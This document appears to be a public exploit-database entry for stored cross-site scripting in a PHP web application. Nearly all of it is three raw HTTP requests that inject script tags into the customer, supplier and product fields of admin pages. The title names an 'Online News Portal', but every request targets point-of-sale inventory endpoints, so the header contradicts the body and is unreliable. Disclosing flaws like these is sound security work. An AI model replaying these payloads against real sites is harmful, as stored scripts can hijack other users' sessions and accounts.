# Exploit Title: Online News Portal 1.0 - 'Multiple' Stored Cross-Site Scripting # Exploit Author: Richard Jones # Date: 2021-03-18 # Vendor Homepage: https://www.sourcecodester.com/php/14741/online-news-portal-using-phpmysqli-free-download-source-code.html # Software Link: https://www.sourcecodester.com/download-code?nid=14741&title=Online+News+Portal+using+PHP%2FMySQLi+with+Source+Code+Free+Download # Version: 1.0 # Tested On: Windows 10 Home 19041 (x64_86) + XAMPP 7.2.34 # Multipul endpoints on the application suffer from Stored XSS injection as a user/supplier and admin. Scripts execute on page load. # One POST /pos_inv/admin/addcustomer.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------26863080316712198253766739741 Content-Length: 661 Origin: http://127.0.0.1 Connection: close Referer: http://127.0.0.1/pos_inv/admin/customer.php Cookie: PHPSESSID=cb9r4bs1p4mqmt98nd4o3mtavm Upgrade-Insecure-Requests: 1 -----------------------------26863080316712198253766739741 Content-Disposition: form-data; name="name" <script>alert(`Stored XSS`)</script> -----------------------------26863080316712198253766739741 Content-Disposition: form-data; name="address" <script>alert(`Stored XSS`)</script> -----------------------------26863080316712198253766739741 Content-Disposition: form-data; name="contact" <script>alert(`Stored XSS`)</script> -----------------------------26863080316712198253766739741 Content-Disposition: form-data; name="username" <script>alert(`Stored XSS`)</script> -----------------------------26863080316712198253766739741 Content-Disposition: form-data; name="password" <script>alert(`Stored XSS`)</script> -----------------------------26863080316712198253766739741-- # Two http://127.0.0.1/pos_inv/admin/supplier.php POST /pos_inv/admin/edit_supplier.php?id=4 HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 176 Origin: http://127.0.0.1 Connection: close Referer: http://127.0.0.1/pos_inv/admin/supplier.php Cookie: PHPSESSID=cb9r4bs1p4mqmt98nd4o3mtavm Upgrade-Insecure-Requests: 1 name=Dell+Computer+Corporation&address=%3Cscript%3Ealert%28%60Stored+XSS%60%29%3C%2Fscript%3E&contact=1-800-WWW-DELL&username=supplier&password=fa3ddb86f38fb6a8284636249f6551aa # Three http://127.0.0.1/pos_inv/admin/product.php POST /pos_inv/admin/edit_product.php?id=12 HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------11435260685310908573266876009 Content-Length: 844 Origin: http://127.0.0.1 Connection: close Referer: http://127.0.0.1/pos_inv/admin/product.php Cookie: PHPSESSID=cb9r4bs1p4mqmt98nd4o3mtavm Upgrade-Insecure-Requests: 1 -----------------------------11435260685310908573266876009 Content-Disposition: form-data; name="name" ACER Aspire GX-781 Gaming PC <script>alert(1)</script> -----------------------------11435260685310908573266876009 Content-Disposition: form-data; name="category" 2 -----------------------------11435260685310908573266876009 Content-Disposition: form-data; name="supplier" 0 -----------------------------11435260685310908573266876009 Content-Disposition: form-data; name="price" 749.99 -----------------------------11435260685310908573266876009 Content-Disposition: form-data; name="qty" 1000 -----------------------------11435260685310908573266876009 Content-Disposition: form-data; name="image"; filename="" Content-Type: application/octet-stream -----------------------------11435260685310908573266876009--